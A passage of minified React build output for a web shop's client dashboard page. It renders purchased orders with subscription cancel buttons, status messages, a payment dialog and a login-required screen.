disabled."}),(s==null?void 0:s.status)==="active"&&e.jsx("button",{type:"button",onClick:()=>he(t.id),disabled:_===`${t.id}-cancel`,className:"inline-flex min-h-10 items-center justify-center rounded-md border border-red-200 px-3 text-xs font-black text-red-700 transition hover:bg-red-50 disabled:opacity-60",children:_===`${t.id}-cancel`?"Cancelling":"Cancel"})]})]},t.id)),P.length===0&&e.jsx("div",{className:"rounded-lg border border-slate-200 bg-slate-50 p-5 text-sm font-semibold text-slate-600",children:"Completed purchases will appear here with optional management subscriptions."})]})]})}),(U||J)&&e.jsxs("div",{className:"fixed bottom-4 left-1/2 z-[90] w-[min(92vw,560px)] -translate-x-1/2 rounded-lg border border-slate-200 bg-white p-4 text-sm font-semibold shadow-2xl",children:[J&&e.jsx("p",{className:"text-emerald-700",children:J}),U&&e.jsx("p",{className:"text-red-700",children:U})]}),T&&e.jsx(Te,{order:T,paymentSettings:k,onClose:()=>M(null),onOrderPaid:t=>{x(s=>W(s,t)),I("Payment received. Delivery is unlocked."),h()}})]}):e.jsx("main",{className:"grid min-h-screen place-items-center bg-slate-950 px-4 text-white",children:e.jsxs("section",{className:"w-full max-w-lg rounded-lg border border-white/15 bg-white/10 p-7 shadow-2xl backdrop-blur",children:[e.jsx("h1",{className:"text-3xl font-black",children:"Client Login Required"}),e.jsx("p",{className:"mt-3 text-sm leading-6 text-zinc-200",children:"Login or create an account to see your orders, chat, payments, and product delivery."}),e.jsxs("div",{className:"mt-6 flex flex-wrap gap-3",children:[e.jsx(F,{to:`/auth?mode=login&returnTo=${encodeURIComponent(g.pathname+g.search)}`,children:e.jsxs(G,{className:"rounded-xl",children:[e.jsx($e,{size:17,"aria-hidden":"true"}),"Login"]})}),e.jsx(F,{to:"/",children:e.jsxs(G,{variant:"light",className:"rounded-xl",children:[e.jsx(se,{size:17,"aria-hidden":"true"}),"Products"]})})]})]})})}export{qe as ClientDashboardPage};
Close